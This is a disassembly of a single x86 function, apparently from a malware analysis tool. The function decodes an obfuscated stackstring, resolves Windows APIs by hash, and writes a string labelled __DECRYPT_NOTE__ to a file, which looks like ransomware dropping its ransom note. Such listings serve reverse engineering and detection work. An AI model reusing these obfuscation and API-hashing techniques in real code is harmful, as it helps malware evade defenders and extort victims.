Function at 0x414780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0x12
mov byte [ebp - 0x36], 0x30
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x30
mov byte [ebp - 0x33], 0x31
mov byte [ebp - 0x32], 0x30
mov byte [ebp - 0x31], 0x33
mov byte [ebp - 0x30], 0x30
mov byte [ebp - 0x2f], 0x39
mov byte [ebp - 0x2e], 0x30
mov byte [ebp - 0x2d], 0x52
mov byte [ebp - 0x2c], 0x30
mov byte [ebp - 0x2b], 0x79
mov byte [ebp - 0x2a], 0x30
mov byte [ebp - 0x29], 0x53
mov byte [ebp - 0x28], 0x30
mov byte [ebp - 0x27], 1
mov byte [ebp - 0x26], 0x30
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x24], 0x30
mov byte [ebp - 0x23], 0x30
mov byte [ebp - 0x22], 0x30
mov al, byte [ebp - 0x37]
cmp byte [ebp - 0x38], 0
jne 0x41482a
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x37]
mov ecx, 0x30
movzx eax, al
sub ecx, eax
mov eax, ecx
shl eax, 5
sub eax, ecx
add eax, eax
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x37], dl
inc esi
cmp esi, 0x16
jb 0x414800
sub esp, 0x18
lea eax, [ebp - 0x37]
mov ecx, esp
push eax
call fcn.00410d60
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004156f0
lea ecx, [ebp - 0x1c]
call fcn.00413ab0
mov eax, dword [0x42cc10]
lea esi, [ebp - 0x1c]
cmp dword [ebp - 8], 7
cmova esi, dword [ebp - 0x1c]
mov eax, dword [eax + 0x30]
test eax, eax
jne 0x41487c
push 0xf06e87ca
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x30], eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push esi
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x41491e
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x4148bc
push 0xc65c5ee6
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0xc], eax
push str.__DECRYPT_NOTE__
call eax
mov ecx, dword [0x42cc10]
mov edi, eax
mov eax, dword [ecx + 0x1c]
test eax, eax
jne 0x4148e9
push 0xc45f4a8c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push edi
push str.__DECRYPT_NOTE__
push esi
call eax
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0x48]
test eax, eax
jne 0x41491b
push 0xa5eb6e47
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x48], eax
push esi
call eax
mov ecx, dword [ebp - 8]
cmp ecx, 7
jbe 0x414954
mov edx, dword [ebp - 0x1c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41494a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4149b0
push ecx
push edx
call fcn.00416c12
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
cmp ecx, 7
jbe 0x41499e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x414994
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4149b0
push ecx
push edx
call fcn.00416c12
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004169d7
mov esp, ebp
pop ebp
ret 0x18
call fcn.00419ce5
int3